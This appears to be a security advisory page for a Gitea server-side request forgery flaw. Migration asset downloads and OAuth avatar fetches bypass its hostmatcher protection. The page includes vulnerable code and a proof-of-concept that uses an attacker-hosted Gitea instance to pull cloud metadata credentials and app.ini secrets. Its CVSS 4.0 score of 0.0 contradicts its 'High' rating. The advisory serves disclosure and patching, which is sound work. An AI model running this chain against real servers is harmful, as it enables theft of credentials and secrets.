Skip to content

GHSA-2wm4-vwp6-v7xc BIT-gitea-2026-34966 CVE-2026-34966 CVE-2026-59765 GO-2026-6039

Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata

High Go
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.39%
Chance of exploitation in the next 30 days. Higher than 33.06% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-918 Server-Side Request Forgery (SSRF)
Fix
Available
2 packages have a fixed version

Description

Summary

Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.

Vulnerable Code

File: modules/uri/uri.go (line 32) -- Core vulnerability

func Open(uriStr string) (io.ReadCloser, error) {
    u, err := url.Parse(uriStr)
    switch strings.ToLower(u.Scheme) {
    case "http", "https":
        f, err := http.Get(uriStr)   // RAW http.Get -- no hostmatcher filtering
        return f.Body, nil
    case "file":
        return os.Open(u.Path)        // LOCAL FILE READ via file:// scheme
    }
}

Callers in migration path:

  • services/migrations/gitea_uploader.go:340 -- uri.Open(*asset.DownloadURL) for release assets
  • services/migrations/gitea_uploader.go:586 -- uri.Open(pr.PatchURL) for PR patches

File: services/migrations/dump.go (lines 312, 453)

// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)

// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloader

File: routers/web/auth/oauth.go (line 306)

func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
    resp, err := http.Get(url)    // RAW http.Get -- no hostmatcher

Contrast with protected migration clone (same codebase):

// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)

PoC

# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:

# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)

# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
  -H "Authorization: token ADMIN_API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
    "repo_name": "migrated-repo",
    "repo_owner": "admin",
    "service": "gitea"
  }'

# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme

# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"

Impact

  • Cloud metadata theft: 169.254.169.254 reachable via unfiltered http.Get() (AWS IMDSv1 credentials, GCP tokens)
  • Local file read: file:// scheme in uri.Open() reads /etc/gitea/app.ini (database credentials, JWT signing secrets, SMTP passwords)
  • Internal service scanning: Reach 127.0.0.1, 10.x, 172.16-31.x, 192.168.x networks
  • Bypasses existing SSRF protection: The hostmatcher dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected
  • Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source

Affected versions

Go

PackageVulnerableFixed in
code.gitea.io/gitea
< 1.27.0
1.27.0
gitea.dev
< 1.27.0
1.27.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.gitea.io/gitea Go → 1.27.0

go
go get code.gitea.io/gitea@v1.27.0 && go mod tidy

gitea.dev Go → 1.27.0

go
go get gitea.dev@v1.27.0 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
High
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rcr6-4jqh-j84m
Gitea: Remote Code Execution via diffpatch Git Hook Installation
Critical Known exploited Also affects code.gitea.io/gitea
GHSA-fq2p-5p22-8g6j
Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
Medium Also affects code.gitea.io/gitea
GHSA-3r5c-2xxx-h872
Gitea: Webhook Authorization Header Returned in Plaintext via API
Low Also affects code.gitea.io/gitea
GHSA-frpw-3h2q-4jj6
Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Medium Also affects code.gitea.io/gitea
GHSA-q423-49rw-g9mh
Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private
Medium Also affects code.gitea.io/gitea
GHSA-h56g-4qw7-2mxg
Gitea: Public-only API token restriction is not enforced on team API routes
Medium Also affects gitea.dev
GHSA-prr9-9mp4-5gp2
Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
High Also affects gitea.dev
GHSA-2fcr-jfvc-vgg2
Gitea: Two SSRF findings
High Also affects code.gitea.io/gitea
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor